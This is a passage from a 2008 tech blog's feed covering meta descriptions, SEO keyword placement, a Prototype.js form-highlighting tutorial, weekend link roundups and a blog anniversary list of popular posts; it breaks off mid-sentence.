&lt;p&gt;Google could really care less what your snippet looks like.  They will always take other bits of text for the snippet if you can&amp;rsquo;t come up with a good one; however, if we really want to get our link clicked on we are going to have to make the description human readable and interesting.&lt;/p&gt;

&lt;p&gt;When someone types in a search term in Google and hits go there are two things that will influence a user&amp;rsquo;s decision to click on your link.  The first will be the order in which the links are laid out.  Since most people read from top to bottom the higher links will usually get more attention.  Google claims that most people will scan the site snippet before clicking.  This is where we will separate our pages from some of the competition.&lt;/p&gt;

&lt;p&gt;Users will scan a snippet but they are not going read it in detail.  It has to be scanable.  It also has to be something that is descriptive and complements the title but without repeating or having duplicated keywords.  One of the most common problems with meta descriptions is that many sites either have the same one for every page or don&amp;rsquo;t even use them at all.&lt;/p&gt;

&lt;p&gt;I think the two main ingredients for successful use of the meta description is to:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Have a different meta description for each page&lt;/strong&gt;
&lt;strong&gt;Use PHP or other script to generate them&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;W3C doesn&amp;rsquo;t specify the size of this description meta tag, but almost all search engines recommend it to be shorter than 200 characters of plain text.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;References&lt;/h3&gt;

&lt;p&gt;&lt;a href=&#34;http://googlewebmastercentral.blogspot.com/2007/09/improve-snippets-with-meta-description.html&#34;&gt;Improve snippets with a meta description makeover&lt;/a&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Weekend Link Roundup: Week 15</title>
		<link href="https://www.marksanborn.net/links/weekend-link-roundup-week-15/index.html" />
		<updated>2008-07-12T00:00:00Z</updated>
		<id>https://www.marksanborn.net/links/weekend-link-roundup-week-15/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://www.positivespaceblog.com/archives/pdf-documents-designer/&#34;&gt;30 Essential PDF Documents Every Designer Should Download&lt;/a&gt; - Nuff said.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://browsershots.org/&#34;&gt;Browsershots&lt;/a&gt; - Cross test your site against pretty much every OS/Browser combination.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://sixrevisions.com/tools/faster_web_page/&#34;&gt;15 Tools for faster development&lt;/a&gt; - Very good list of tools for web development.  One more I would add is &lt;a href=&#34;http://www.opera.com/products/dragonfly/&#34;&gt;Opera&amp;rsquo;s DragonFly development tool&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.businessreviewonline.com/os/archives/2008/06/the_10_best_lin.html&#34;&gt;The 10 Best Linus Torvalds Quotes&lt;/a&gt; - Some funny quotes from the grandfather of Linux.  My personal favorite: “Microsoft isn&amp;rsquo;t evil, they just make really crappy operating systems.”&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://arstechnica.com/news.ars/post/20080709-pirate-bay-wants-total-network-encryption-but-does-anyone-else.html&#34;&gt;Pirate Bay Wants Total Network Encryption, But Who Else?&lt;/a&gt; - Deep packet inspection, aka: looking at what everyone is doing on the internet has gotten more attention lately.  I have been saying for awhile that eventually all traffic will be encrypted.  Here is an interesting article about Pirate Bay cofounder starting such a project.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.pingpongpie.com/2008/07/need-social-media-success-dont-start-with-digg/&#34;&gt;Need Social Media Success? Don’t Start With Digg&lt;/a&gt; - This blog can relate to this article.  This blog has yet to gain any attention from digg desipite the numorous article submissions; however, we have had luck with a lot of other smaller or more niche type social networks.  If you are looking for gaining some extra traffic try some of the others don&amp;rsquo;t just rely on digg.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/07/gmail-logo.gif&#34; alt=&#34;Gmail Logo&#34; /&gt;&lt;a href=&#34;http://www.smashingmagazine.com/2008/07/08/web-form-design-patterns-sign-up-forms-part-2/&#34;&gt;Web Form Design Patterns: Sign-Up Forms, Part 2&lt;/a&gt; - An interesting article on the web form statistics.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.webmonkey.com/blog/New_Gmail_Features_Protect_from_Snooping&#34;&gt;New Gmail Features Protect from Snooping&lt;/a&gt; - I have always wondered why webservices didn&amp;rsquo;t tell you your last login time and IP.  All I can say is that everyone should show this information and its about time.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Highlight Form Focus with Prototype</title>
		<link href="https://www.marksanborn.net/programming/highlight-form-focus-with-prototype/index.html" />
		<updated>2008-07-09T00:00:00Z</updated>
		<id>https://www.marksanborn.net/programming/highlight-form-focus-with-prototype/index.html</id>
		<content type="html">&lt;p&gt;I recently made a purchase through Paypal (with &lt;a href=&#34;/security/i-received-my-paypal-securekey-today/&#34;&gt;my trusty paypal security key&lt;/a&gt;) and noticed that their forms really stood out.  They had an effect on their forms that would highlight the row in which you are currently typing.  I thought this was a very elegant use of ajax that really added value to the form.  This is why I created my own version of it.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;You can also go to Paypal and see their version of the effect.&lt;/p&gt;

&lt;h3&gt;The html&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;screen.css&amp;quot; /&amp;gt;
&amp;lt;script src=&amp;quot;js/prototype.js&amp;quot; type=&amp;quot;text/javascript&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script src=&amp;quot;js/scriptaculous.js&amp;quot; type=&amp;quot;text/javascript&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;form action=&amp;quot;&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;
&amp;lt;table&amp;gt;
&amp;lt;tr id=&amp;quot;tr1&amp;quot;&amp;gt;&amp;lt;td&amp;gt;Text Field 1: &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input name=&amp;quot;input 1&amp;quot; type=&amp;quot;text&amp;quot;/&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr id=&amp;quot;tr2&amp;quot;&amp;gt;&amp;lt;td&amp;gt;Text Field 2: &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input name=&amp;quot;input 2&amp;quot; type=&amp;quot;text&amp;quot;/&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr id=&amp;quot;tr3&amp;quot;&amp;gt;&amp;lt;td&amp;gt;Text Field 3: &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input name=&amp;quot;input 3&amp;quot; type=&amp;quot;text&amp;quot;/&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr id=&amp;quot;tr4&amp;quot;&amp;gt;&amp;lt;td&amp;gt;Text Field 4: &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input name=&amp;quot;input 4&amp;quot; type=&amp;quot;text&amp;quot;/&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr id=&amp;quot;tr5&amp;quot;&amp;gt;&amp;lt;td&amp;gt;Text Field 5: &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input name=&amp;quot;input 5&amp;quot; type=&amp;quot;text&amp;quot;/&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr id=&amp;quot;tr6&amp;quot;&amp;gt;&amp;lt;td&amp;gt;Text Field 6: &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input name=&amp;quot;input 6&amp;quot; type=&amp;quot;text&amp;quot;/&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr id=&amp;quot;tr7&amp;quot;&amp;gt;&amp;lt;td&amp;gt;Drop down: &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;select name=&amp;quot;checkBox&amp;quot;&amp;gt;
            &amp;lt;option&amp;gt;yes&amp;lt;/option&amp;gt;
            &amp;lt;option&amp;gt;no&amp;lt;/option&amp;gt;
        &amp;lt;/select&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr id=&amp;quot;tr8&amp;quot;&amp;gt;&amp;lt;td&amp;gt;Drop down 2: &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;select name=&amp;quot;checkBox&amp;quot;&amp;gt;
            &amp;lt;option&amp;gt;yes&amp;lt;/option&amp;gt;
            &amp;lt;option&amp;gt;no&amp;lt;/option&amp;gt;
        &amp;lt;/select&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr id=&amp;quot;tr9&amp;quot;&amp;gt;&amp;lt;td&amp;gt;Check Box: &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input name=&amp;quot;checkBox&amp;quot; type=&amp;quot;checkbox&amp;quot; value=&amp;quot;checkBox&amp;quot;/&amp;gt;&amp;lt;/td&amp;gt;

&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;submit&amp;quot; /&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/table&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;The Ajax&lt;/h3&gt;

&lt;p&gt;Now we add the ajax above the form.  This will add the css class, &amp;ldquo;highlight&amp;rdquo; to each table row.  And also remove the class when called upon.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;script language=&#39;javascript&#39;&amp;gt;
function highlightRow(theRow) {
    $(theRow).addClassName(&#39;highlight&#39;);
}
function unhighlightRow(theRow) {
    $(theRow).removeClassName(&#39;highlight&#39;);
}
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;onFocus and onBlur&lt;/h3&gt;

&lt;p&gt;Now all there is to do is add the onFocus and onBlur to the input tags in our form.  Add this with the corresponding table row.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;onFocus=&amp;quot;highlightRow(&#39;tr1&#39;)&amp;quot; onBlur=&amp;quot;unhighlightRow(&#39;tr1&#39;)&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Thats it&amp;hellip;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>My Blog is Now 1 Year Old</title>
		<link href="https://www.marksanborn.net/miscellaneous/my-blog-is-now-1-year-old/index.html" />
		<updated>2008-07-08T00:00:00Z</updated>
		<id>https://www.marksanborn.net/miscellaneous/my-blog-is-now-1-year-old/index.html</id>
		<content type="html">&lt;p&gt;Well its been one year now since my blog started and I can say it has been a lot of fun.  I have learned a few things after joining the blogosphere and one of the things I learned is that blogs are not easy.  Although they are not easy, they can be extremely rewarding.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;I want to say a massive thanks to everyone for reading, commenting on, and linking to the blog - it has been great to write about, and get your feedback over this past year.&lt;/p&gt;

&lt;p&gt;Here are some stats about my blog over the past year:&lt;/p&gt;

&lt;p&gt;I wrote my &lt;a href=&#34;/php/download-files-through-authentication/&#34;&gt;first article&lt;/a&gt; on July 6th 2007.&lt;/p&gt;

&lt;h3&gt;The 20 Most Popular Articles&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/howto/hiding-a-compressed-rar-file-in-a-jpeg/&#34;&gt;Hiding a Compressed RAR File in a JPEG&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/php/calculating-ups-shipping-rate-with-php/&#34;&gt;Calculating UPS Shipping Rate with PHP&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/howto/startup-programs-and-removing-them/&#34;&gt;Startup Programs and Removing Them&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/linux/send-mail-postfix-through-gmails-smtp-on-a-ubuntu-lts-server/&#34;&gt;Send Mail Postfix through Gmail’s SMTP on a Ubuntu LTS Server&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/howto/turn-off-unnecessary-windows-services/&#34;&gt;Turn Off Unnecessary Windows Services&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/linux/speed-up-the-gnome-menu-and-fix-the-annoying-icon-delay/&#34;&gt;Speed up the Gnome Menu and Fix the Annoying Icon Delay&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/howto/bypass-firewall-and-nat-with-reverse-ssh-tunnel/&#34;&gt;Bypass Firewall and NAT with Reverse SSH Tunnel&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/linux/getting-familiar-with-the-linux-command-line/&#34;&gt;Getting Familiar with the Linux Command Line&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/software/what-to-do-after-a-fresh-install-of-windows-xp/&#34;&gt;What to do After a Fresh Install of Windows XP&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/linux/adding-color-and-customize-the-bash-prompt-ps1/&#34;&gt;Adding Color and Customize the Bash Prompt (PS1)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/linux/installing-microsoft-fonts-msttcorefonts-on-debian-linux/&#34;&gt;Installing Microsoft Fonts (msttcorefonts) on Debian Linux&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/linux/changing-the-default-gnome-menu-icon/&#34;&gt;Changing the Default Gnome Menu Icon&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/linux/10-linux-shortcuts-you-cant-live-without/&#34;&gt;10 Linux Shortcuts You Can’t Live Without&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/recommended-software/&#34;&gt;Recommended Software&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/howto/removing-u3-on-sandisk-flash-drives/&#34;&gt;Removing U3 on Sandisk Flash Drives&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/software/required-startup-programs/&#34;&gt;Required Startup Programs&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/php/calculating-usps-shipping-rates-with-php/&#34;&gt;Calculating USPS Shipping Rates with PHP&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/faqs/does-having-many-files-on-your-computer-slow-it-down/&#34;&gt;Does Having Many files on your Computer Slow it Down?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/software/bloatware-replace-slow-software-with-faster-alternatives/&#34;&gt;Bloatware - Replace Slow Software with Faster Alternatives&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/linux/50-reasons-why-i-love-linux/&#34;&gt;50 Reasons Why I Love Linux&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;5 Posts that I thought would be more popular&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/howto/the-ultimate-guide-to-porperly-backing-up-your-dvds/&#34;&gt;The Ultimate Guide to Properly Backing Up Your DVD’s&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/howto/rick-rolling-your-hard-drive/&#34;&gt;“Rick Rolling” Your Hard Drive&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/linux/add-port-knocking-to-ssh-for-extra-security/&#34;&gt;Add Port Knocking to SSH for Extra Security&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/security/picking-strong-passwords-that-you-can-remember/&#34;&gt;Picking Strong Passwords that you can Remember&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/howto/use-rsync-for-daily-weekly-and-full-monthly-backups/&#34;&gt;Use Rsync for Daily, Weekly and Full Monthly Backups&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;Top 10 Referring Sites&lt;/h3&gt;

&lt;p&gt;Thanks for the referrals!&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://www.google.com&#34;&gt;Google&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://www.stumbleupon.com/&#34;&gt;StumbleUpon&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://www.yahoo.com&#34;&gt;Yahoo&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://www.digg.com&#34;&gt;Digg&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://www.scalix.com&#34;&gt;Scalix&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://www.ubuntuforums.org/&#34;&gt;Ubuntu Forums&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://www.msn.com&#34;&gt;MSN&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://www.wykop.pl/&#34;&gt;Wykop&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://davidwalsh.name&#34;&gt;David Walsh&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://www.tuxmachines.org/&#34;&gt;Tux Machines&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I plan to keep writing on this blog and create more articles for my readers.&lt;/p&gt;

&lt;p&gt;Happy birthday marksanborn.net!&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Weekend Link Roundup: Week 14</title>
		<link href="https://www.marksanborn.net/links/weekend-link-roundup-week-14/index.html" />
		<updated>2008-07-05T00:00:00Z</updated>
		<id>https://www.marksanborn.net/links/weekend-link-roundup-week-14/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://codingexperiments.com/archives/149&#34;&gt;Which Linux Distributions Are Dying?&lt;/a&gt; - So which distributions are growing in terms of searches/day?  Although this doesn&amp;rsquo;t necessarily represent popularity it does show how many people are looking for help or new to specific distribution.  Interesting none the less.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://arstechnica.com/news.ars/post/20080702-mozilla-sets-guinness-world-record-with-firefox-3-launch.html&#34;&gt;Mozilla sets Guinness World Record with Firefox 3 launch&lt;/a&gt; - Although I can&amp;rsquo;t say I was part of the download frenzy this is pretty cool.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.smashingmagazine.com/2008/07/02/55-free-high-quality-icon-sets/&#34;&gt;55 Free High Quality Icon Sets&lt;/a&gt; - I love icon sets and these are fabulous!&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.junauza.com/2008/07/10-best-hacking-and-security-software.html&#34;&gt;10 Best Hacking and Security Software Tools for Linux&lt;/a&gt; - Best hacking tools that are open source&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.upgradetheweb.com/2008/06/16/how-to-encrypt-user-info-with-php/&#34;&gt;How to encrypt user info with php&lt;/a&gt; - Something I didn&amp;rsquo;t think about when I wrote my article about &lt;a href=&#34;/php/creating-a-secure-md5-hash-for-storing-passwords-in-a-database/&#34;&gt;hashing stored passworrds&lt;/a&gt; was adding the username of the hash.  This along with salt creates a stronger hash.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;amp;articleId=9101898&amp;amp;intsrc=hm_list&#34;&gt;Researchers spot Mac Trojan in the wild&lt;/a&gt; - With the rising popularity of the ipod and Apple computers I am sure we will see more of these in the future.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.dpacket.org/articles/digging-deeper-deep-packet-inspection-dpi&#34;&gt;In-Depth look at how &amp;ldquo;Deep Packet Inspection&amp;rdquo; Works&lt;/a&gt; -  A nice whitepaper on deep packet sniffing, AKA deep packet inspection.  To make an analogy, deep packet inspection is like your phone company listening to your phone conversations and disconnecting you if you start talking about how bad their customer service is.  Many ISPs think they have the right to judge what content should be a priority.  Or even which content they will drop from their pipes.  I forsee a future where everything is encrypted end to end.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://news.yahoo.com/s/ap/20080703/ap_on_hi_te/youtube_lawsuit&#34;&gt;Court orders YouTube to give Viacom video logs&lt;/a&gt; - So much for privacy.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Ultimate Guide to SEO: Keywords</title>
		<link href="https://www.marksanborn.net/seo/ultimate-guide-to-seo-keywords/index.html" />
		<updated>2008-07-04T00:00:00Z</updated>
		<id>https://www.marksanborn.net/seo/ultimate-guide-to-seo-keywords/index.html</id>
		<content type="html">&lt;p&gt;We know a little bit about how google ranks keyword placement.  And I will try to get you up to speed on the most relevent areas where you can improve your site&amp;rsquo;s visibility to Google and other search engines right away.  This post is part of the series, Ultimate Guide to SEO.  I recommend reading the entire serires to get the most of this article.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h3&gt;Domain Names&lt;/h3&gt;

&lt;p&gt;The absolute highest importance when it comes to keywords is the domain.  Even if your page has a rank of zero, you have no SEO techniques applied, and your site is new.  Chances are within a few days your site will be indexed in Google and will show up in the first page for the keywords in your domian.  This is why you will often see domains like, Get-Free-Templates-For-Wordpress.com domains.  Domain names are absolutely critical when it comes to keywords.  I am not telling you this so you run out and buy a domain that is keyword stuffed I am just showing you the importance of it.&lt;/p&gt;

&lt;h3&gt;Title&lt;/h3&gt;

&lt;p&gt;The title is the second most influential factor when search engines try to determine what a page is about.  This is where you will want to have relevent information with keywords.&lt;/p&gt;

&lt;p&gt;Many people make mistakes when it comes to the &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt; tags.  Often I will see a site title like, &amp;ldquo;My Blog - My article title&amp;rdquo;.  or even worse, &amp;ldquo;My Blog&amp;rdquo;.  Google and other search engines will weigh each keyword in the title with less importance the further right you go.  For the optimimum result you will want your most relevent keyword in the begining.&lt;/p&gt;

&lt;p&gt;Simply changing the title of your pages to be something like, &amp;ldquo;My article title - My blog&amp;rdquo; or even, &amp;ldquo;My article title&amp;rdquo; can make a world of difference for page ranking in Google and other search engines.&lt;/p&gt;

&lt;p&gt;The other mistake I see often is people stuffing keywords in a title like, &amp;ldquo;My blog widget, activites, technology, blah, blah.&amp;rdquo;  The problem with this is that Google takes each word and gives it a portion of the keyword importance to each.  The more words you have in your title the less importance each keyword will be.  Adding more keywords will NOT help.  Remember the golden rule of SEO, &lt;strong&gt;SEO is about making your pages machine accessible.  It&amp;rsquo;s not ment to trick search engines into indexing you for irrelevent keywords&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bottom line: Try to keep your titles short and relevent to the individual page on your site.  Each page of your site should have a unique title describing that particular page.  Stay away from adding the same text to each page.&lt;/strong&gt;&lt;/p&gt;

&lt;h4&gt;Optimizing Titles for Wordpress&lt;/h4&gt;

&lt;p&gt;In Wordpress you can have dynamic titles easily, here is an example:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (is_home()) {bloginfo(&#39;name&#39;) ;} else { wp_title(&#39; &#39;);} ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;What this does is give the home page a title of, &amp;ldquo;My blog&amp;rdquo; and the articles will have the title, &amp;ldquo;the article title&amp;rdquo;.  I have found this the most effective way to utilize the title tag in a blog type setting.&lt;/p&gt;

&lt;h3&gt;The H1 Tag&lt;/h3&gt;

&lt;p&gt;The H1 tag seems like it has almost as much weight as the title tags.  It is so important that many developers have often used h1 text underneath their logos and hide the text with a CSS text indent.  This allows the site to have a nice logo and still contain the page&amp;rsquo;s main heading in plain text for the search bot to see.&lt;/p&gt;

&lt;p&gt;It has been discussed multiple times whether or not this technique is considered cheating since Google has stated before many times that site using hidden text or display something that differs from what the bot sees is deceptive.  &lt;a href=&#34;http://www.mattcutts.com/blog/&#34;&gt;Matt Cutts from Google&lt;/a&gt; has repeaditly said that it is fine.  What is not fine is using methods similar to this for purposes of keyword stuffing or tricking the bot.  Remember the golden rule of SEO.&lt;/p&gt;

&lt;h3&gt;The H2, H3, H4 Tags&lt;/h3&gt;

&lt;p&gt;As you may have guessed these tags will be more important for keyword purposes than regular text but will diminish in value as you go down.  The H2 will be weighted as more relevent than the H4.  Keep this in mind.  I don&amp;rsquo;t want you to make up h2, h3 tags for the purpose of keyword stuffing but I would advise you to think about what you are writing and make sure that you use h2, h3 tags whenever appropriate.&lt;/p&gt;

&lt;p&gt;I see a lot of sites that will use a custom tag like, &lt;span class=&#34;heading1&#34;&gt;.  If you find yourself doing this stop and ask yourself, &amp;ldquo;Can I replace this with an h2 or maybe an h3 tag?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bottom line:  Use h2, h3 tags for page layout hierarchy.  Not only will it benefit your users, it will help with ranking.  Keep their structure and don&amp;rsquo;t stuff them with keywords for the hell of it.  For example you should NEVER have more than one H1 tag.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;Strong and Bold&lt;/h3&gt;

&lt;p&gt;Strong and bold tags will have slightly higher relevence as far as keywords go.  There has been some debate against which was better and I distinctly remember Matt Cutts once say that the strong tag had SLIGHTLY higher relevence than bold since strong is semantically correct in the new xhtml standards.  However, the difference is almost meaningless as far as SEO goes.  Just keep in mind that the bolded text will weigh more than regular text.&lt;/p&gt;

&lt;h3&gt;The Link Title Attribute&lt;/h3&gt;

&lt;p&gt;Links have an attribute that you can include called &amp;ldquo;title&amp;rdquo;.  This attribute is what will show up if the link is hovered over and can also be spoken for people with accessibility needs.&lt;/p&gt;

&lt;p&gt;This not only provides a good opportunity to add more relevent information and keywords to a link, but also serves as a utility for people with accessibility needs.  It is recommeneded that you use the title attribute in links when necessary.&lt;/p&gt;

&lt;h3&gt;The Img Alt Attribute&lt;/h3&gt;

&lt;p&gt;The alt attribute is the primary focus of Google when determining a description for an image to be included in their image search.  It is also required by the W3C to have validated code.  I always try to include the alt attribute in every image of my site.&lt;/p&gt;

&lt;h3&gt;Keywords in URLs&lt;/h3&gt;

&lt;p&gt;We have discussed how important keywords are in domain names now its time to take a look at the rest of the URL.  Google does look at the URL for purposes of determining the page&amp;rsquo;s content.  You can tell this by the bolded text in a url when searching for a page.&lt;/p&gt;

&lt;p&gt;I have had excelent luck with providing pages with logical descriptive urls.  For example my pages will use Apache&amp;rsquo;s Mod_rewrite (build into Wordpress) to change urls from &lt;a href=&#34;http://yourdomain.com?123987&#34;&gt;http://yourdomain.com?123987&lt;/a&gt; to something like, &lt;code&gt;https://www.marksanborn.net/SEO/name-of-the-article&lt;/code&gt;.  I find this works much better than having the default permalink like this, &lt;code&gt;https://www.marksanborn.net/year/month/day/article-title&lt;/code&gt;.  Since including the category of your article adds one extra keyword in the url than you would otherwise have with the Wordpress default permalink.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bottom line: Think about a clear descriptive URL scheme and stick with it.  If you are already using something different don&amp;rsquo;t change it.  Improper change of a URL (not including 301 redirect) will cause pages to loose pagerank.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;Keywords in Incoming Links&lt;/h3&gt;

&lt;p&gt;Incoming links that don&amp;rsquo;t have the [nofollow tag] will increase the target page&amp;rsquo;s rank and push the entire site closer to the top of search results, but there is more to it.  Even if a page uses the nofollow directive or the link is from your own site, Google will use those keywords in the links to determine what the target page is about.&lt;/p&gt;

&lt;p&gt;This is why blogs do so well with trackbacks as they will include a short description about the blog right underneath and usually use the exact title of the article in the link description.  It also explains why blogs do so well in search engines.  Often times bloggers will link to their own content many times throughout multiple posts with the same relevent keywords as that particular article.  This paints a good picture to Google about what that site is actually about.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bottom line: When linking to a page be as descriptive as possible.  Do not use something like:&lt;/strong&gt;&lt;/p&gt;

